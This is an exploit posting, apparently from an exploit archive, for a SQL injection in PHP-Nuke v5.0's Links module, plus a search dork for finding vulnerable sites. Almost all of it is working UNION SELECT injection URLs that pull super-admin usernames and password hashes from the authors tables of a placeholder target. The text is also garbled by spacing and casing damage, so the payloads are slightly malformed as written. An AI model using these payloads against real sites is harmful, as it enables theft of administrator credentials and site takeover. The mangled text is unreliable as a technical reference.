PHP-NUKE v5.0 viewslink Remote SQL Injection

Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! # Author: CMD
# Contact: cemede@ilkposta.com
# Dork: [allinurl: op = viewslink & sid =]
=-= C = M = D =-= -=
 
# Code:
 
[
 
Exploit 1:
/Links. php? Op = viewslink & sid =-1/**/union/**/select/**/0, aid/**/from/**/nuke_authors/**/where/**/radminsuper = 1 /*

/Links. php? Op = viewslink & sid =-1/**/union/**/select/**/0, pwd/**/from/**/nuke_authors/**/where/**/radminsuper = 1 /*
 
 
Exploit 2:
/Links. php? Op = viewslink & sid =-1/**/union/**/select/**/0, aid/**/from/**/authors/**/where/**/radminsuper = 1 /*
 

/Links. php? Op = viewslink & sid =-1/**/union/**/select/**/0, pwd/**/from/**/authors/**/where/**/radminsuper = 1 /*
 
]
 
=-= C = M = D =-= -=
# Example:
 
[
 
Example 1:
Http://www.target.com/links.php? Op = viewslink & sid =-1/**/union/**/select/**/0, pwd/**/from/**/nuke_authors/**/where/**/radminsuper = 1 /*
 

Http://www.target.com/links.php? Op = viewslink & sid =-1/**/union/**/select/**/0, aid/**/from/**/nuke_authors/**/where/**/radminsuper = 1 /*
 
 
 
Example 2:
Http://www.target.com/links.php? Op = viewslink & sid =-1/**/union/**/select/**/0, pwd/**/from/**/authors/**/where/**/radminsuper = 1 /*
 

Http://www.target.com/links.php? Op = viewslink & sid =-1/**/union/**/select/**/0, aid/**/from/**/authors/**/where/**/radminsuper = 1 /*
 
]
=-= C = M = D =-= -=
 
# Thanx: AmeN & MUS4LLAT & Snaritx & JacKal & Metrp0l
& Ve sayamad & #305; klar & #305; m
 
# Says: Hem & #351; o bak bug buldum xD